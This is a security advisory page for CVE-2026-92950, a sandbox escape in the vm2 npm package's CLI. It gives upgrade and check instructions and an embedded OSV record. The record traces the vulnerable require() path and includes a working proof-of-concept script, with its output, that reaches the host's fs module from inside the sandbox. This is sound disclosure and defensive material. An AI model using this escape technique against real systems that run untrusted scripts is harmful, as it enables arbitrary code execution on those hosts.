CVE-2026-92950: Vm2 Vm2 CLI Provides No Sandbox Vulnerability
HIGHCVE-2026-92950 is a HIGH (CVSS 8.6) vm2 cli provides no sandbox vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 cli provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts. Remediation is available by upgrading affected packages to version 3.11.7.
CVE-2026-92950 at a Glance
Security Impact
CVSS: 8.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-92950
To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install vm2@3.11.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls vm2
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-92950, inspect your project dependencies using npm:
npm ls vm2
Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.7), your application is affected.
Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-92950 Affected Vm2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
vm2
|
npm |
< 3.11.7
|
3.11.7
|
References
Frequently Asked Questions
What is CVE-2026-92950?
Which Vm2 versions are affected?
What version fixes CVE-2026-92950?
Is vm2 affected?
What is the CVSS score of CVE-2026-92950?
What CWE is associated with CVE-2026-92950?
How can I check npm dependencies for CVE-2026-92950?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jxxv-8r27-vm4p",
"modified" : "2026-10-01T15:40:46Z",
"published" : "2026-10-01T15:40:45Z",
"aliases" : [ "CVE-2026-92950" ],
"summary" : "vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts",
"details" : "### Summary\nThe `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's \"CLI\" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.\n\n### Details\nThe vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 <file>` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce.\n\n#### Vulnerable code path\n\n1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the\n attacker-authored script path. The CLI invokes:\n ```js\n NodeVM.file(path, { verbose: true, require: { external: true } });\n ```\n Without `require.root`, `require.context`, nor `require.builtin`.\n2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls\n `new NodeVM(options).run(body, resolvedFilename)`.\n3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266`\n (`makeResolverFromLegacyOptions`). Destructures `external:true`,\n `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218),\n `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'`\n (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and\n `pathContext = () => 'host'` (line 263).\n4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox\n `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`).\n `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at\n `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`.\n5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`:\n ```js\n isPathAllowed(filename) {\n if (this.rootPaths === undefined) return true;\n ```\n With no `root` configured, **every** filesystem path is allowed. `checkAccess`\n (`lib/resolver.js:39-42`) delegates to the same method.\n6. **Sink** - `lib/resolver-compat.js:74-77`:\n ```js\n loadJS(vm, mod, filename) {\n if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);\n const m = this.hostRequire(filename); // ← host-realm require()\n mod.exports = vm.readonly(m);\n }\n ```\n `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real\n host `require()`. The required module's **top-level body executes in the host\n realm** before `vm.readonly()` wraps the exports; wrapping happens too late to\n constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is\n identical for `.node` native addons (`process.dlopen` in host).\n\n### PoC\nSave the following as `/tmp/poc.js`:\n\n```js\n'use strict';\ntry {\n // Host realm: fs is available - write sentinel and stop.\n const fs = require('fs');\n fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\\n');\n console.log('HOST realm: wrote /tmp/vm2.proof');\n} catch (e) {\n // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -\n // the CLI resolver loads it via host require() (resolver-compat.js:76).\n console.log('sandbox realm: fs blocked (' + e.message + '); escaping');\n require(__filename);\n}\n```\n\nRun via the shipped CLI exactly as the README documents:\n\n```sh\nnode ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2`\n```\n\nObserved output:\n\n```\nsandbox realm: fs blocked (Cannot find module 'fs'); escaping\nHOST realm: wrote /tmp/vm2.proof\n```\n\n`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose\ndirect `require('fs')` was blocked by the sandbox. The first line proves the\nboundary exists; the second proves it was crossed.\n\n\n### Impact\nA user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an\nattacker-supplied file gets **arbitrary code execution as that user** - the\nsandbox provides no isolation in this configuration. The blast radius is the\nfull host Node.js process: `fs`, `child_process`, `process.dlopen`, network,\nenvironment.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "vm2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.11.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.11.6"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92950"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patriksimek/vm2"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1188", "CWE-453", "CWE-829" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-01T15:40:45Z",
"nvd_published_at" : null
}
}